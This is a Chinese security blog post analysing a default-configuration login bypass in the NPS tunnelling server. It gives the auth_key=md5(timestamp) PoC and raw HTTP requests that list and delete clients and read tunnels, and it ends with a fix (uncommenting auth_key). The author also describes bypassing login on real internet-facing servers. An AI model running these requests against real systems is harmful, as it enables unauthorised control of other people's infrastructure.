文章总结： 文档分析了NPS内网穿透工具因默认配置不当导致的登录绕过漏洞。攻击者利用auth_key被注释的缺陷，通过构造特定参数绕过认证直接控制后台。文章分析了底层AES加密逻辑，提供了漏洞检测POC及利用脚本，并给出取消注释auth_key等修复建议，具有实战参考价值。
综合评分： 90
文章分类： 渗透测试,漏洞分析,内网渗透,漏洞POC
渗透实战|NPS反制之绕过登陆验证
原创
li1u
藏剑安全
2023年6月3日 10:30
江苏
由于微信公众号推送机制改变了，快来星标不再迷路，谢谢大家！
NPS- 一款轻量级、高性能、功能强大的内网穿透代理服务器
1.前言
看了师傅的一个文章，感觉挺有意思的，尝试记录下来，结尾有”惊吓”
GitHub下载NPS的releases：https://github.com/ehang-io/nps/releases/tag/v0.26.10
为了本地测试使用，只下载Windows的server端和NPS的源码到本地。
内网穿透代理工具诸如frp、nps、 reGeorg等，各有千秋吧，我个人用的nps比较多。
2.NPS
解压nps之后，会有一个conf和web文件夹、以及一个nps的可执行程序
conf：可配置文件，可修改ip、端口、登陆密码等
web：nps中web管理系统的静态资源文件
直接进入nps目录，运行nps
在配置文件conf中，有IP、端口、以及默认用户名口令admin/123，(默认用户名口令一定要改)，默认端口8080也建议更改。
直接访问nps后台，输入admin/123登陆后台
进入后台首页：
客户端模块，配置隧道、在npc端机器运行命令即可”上线”
3.默认配置-绕过登陆验证
正常情况下，NPS需要登陆之后才可进行后续操作，但是NPS中有默认配置，假如未修改默认配置的话，我们就可以绕过身份验证访问后台。
打开NPS的源码文件，在web目录下的controllers目录（和php有些类似）
在base.go文件中，第36行代码处
条件判断的大概意思就是如果md5key值不为空并且当前时间戳与给定的timestamp之间的差小于等于20，并且通过对configKey和timestamp进行加密得到的结果与md5key相等，结果就是true
如果auth不为真，那就302跳转到登陆页，如果为真，那就作为模板数据传递。
整块代码的意思就是从请求中获取auth_key和timestamp、从配置文件中获取auth_key，并赋值给configKey
但是在nps.conf中，auth_key是注释掉的：
所以我们只需要在请求中添加auth_key与timestamp，即可绕过身份验证（登陆成功跳转index/index）
POC：
index/index?auth_key=xxx×tamp=xxx
通俗易懂的就是auth_key=md5(timestamp)
编写脚本获取POC：
携带POC直接绕过登陆验证尝试访问后台（只有20S的时间，过期需重新生成）
4.NPS反制
绕过登陆验证之后，可以在后台进行任意操作
查看客户端列表：
修改配置：
来个有意思的的：
后台所有的功能都可以携带auth_key和timestamp进行操作
删除客户端：
删除id为2的客户端：
POST /client/del?auth_key=b57ab4e636cbaa4dda1a0256ae597080×tamp=1685604329 HTTP/1.1
Host: xxx
Content-Length: 4
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
id=2
查询客户端列表：
POST /client/list?auth_key=83a737f7d232957e7a7821ff6091f149×tamp=1685604434 HTTP/1.1
Host: xxx
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
search=&order=asc&offset=0&limit=10
本地搭建的，npc端未设置，仅作测试用，师傅们想进行更多的操作，手动抓包测试即可。
5.分析
在nps中，路径下加auth/getauthkey可获取到加密后的crypt_auth_key
这个加密后的crypt_auth_key就是默认的授权密钥，也就是加密后的密文，加密方式是AES算法的CBC模式
在nps.conf中，auth_crypt_key（密钥）是16位的，且默认的auth_crypt_key（密钥）是1234567812345678，所以经过AES加密之后的密文就是crypt_auth_key=5acabcf051cd55abca03d18294422e01，所以访问auth/getauthkey获取到的crypt_auth_key就是AES加密的密文，密钥就是auth_crypt_key的值（可随意更改、满足16位即可）
有POC有针对于这个默认的授权密钥的，判断返回包里内容是否存在5acabcf051cd55abca03d18294422e01
当时觉得单判断默认的crypt_auth_key是不严谨的，因为绕过登陆验证归根究底的原因是auth_key默认被注释掉了，所以说条件语句中只要携带了auth_key与timestamp两个参数并且满足条件就可以绕过登录认证。
"crypt_auth_key": "5acabcf051cd55abca03d18294422e01"
#auth_key=test
auth_crypt_key =1234567812345678
crypt_auth_key密文是由明文test经过AES的CBC模式进行加密得到的，加密密钥是1234567812345678
（1）那么如果auth_key没有被注释，继续看看会怎么样
crypt_auth_key已经不再是默认的5acabcf051cd55abca03d18294422e01，注释去掉之后的密文变成了04acf026285da15817ac9a072c1259ac，不存在绕过登陆验证，携带着POC访问后台，页面跳转到登录页
（2） 如果auth_key被注释了，修改加密密钥auth_crypt_key，看看会怎么样：
密文同样改变，因为加密密钥改变，密文肯定变，尝试绕过登陆验证
成功绕过登陆验证，获取客户端列表🐓队。
综上所述：单说NPS啊，不提加密向量不一样什么的导致的加密结果不一样
加密密钥如果没被修改，auth_key=test有注释，那么密文一定是：5acabcf051cd55abca03d18294422e01 ---登陆绕过存在
加密密钥如果没被修改，auth_key=test取消注释，那么密文一定是：04acf026285da15817ac9a072c1259ac ---登陆绕过不存在
如果密钥被修改，auth_key=test有注释，那么密文一定不是上述这两个 ---登陆绕过存在
如果密钥被修改，auth_key=test取消注释，那么登陆绕过肯定不存在
所以说，POC还是有道理的，因为如果加密密钥是默认的1234567812345678，auth_key=test有注释，那么密文一定是5acabcf051cd55abca03d18294422e01，那么登陆绕过就一定存在
正反推
修复建议：去掉#auth_key=test的注释即可，想下载源代码重新编译的也可以，密钥也可以看个人情况修改什么的。
来一组互联网案例，用afrog编写POC（探测密文是5acabcf051cd55abca03d18294422e01），也就是说加密密钥未修改，auth_key=test有注释，一定存在登陆绕过的互联网案例
在来一组成功绕过登陆进入后台的互联网案例，挺多的：
第二种反制手段就是注册，在nps.conf中，默认关闭注册功能以及注册用户登陆功能
假如开启注册的话：
首页就会出现注册按钮（默认情况下是没有的）：
尝试注册登陆：
成功进入后台：需将allow_user_login=true，意为允许注册用户进行登陆，否则登录是不成功的
虽然登陆成功，但是权限会少很多，起码可以修改（较登陆绕过鸡肋一点）：
以上就是个人的分析思路，如有不足，请见谅。
最后，你懂的（仅仅只做验证，并未进行敏感操作！！！）：
别找了，你想要的在下边：
POST /index/gettunnel?auth_key=5d712b45490f8ac1f630f9cce0a5e173×tamp=1685638945 HTTP/1.1
Host: xxx
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
offset=0&limit=10&type=&client_id=3&search=
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：藏剑安全 li1u《渗透实战|NPS反制之绕过登陆验证》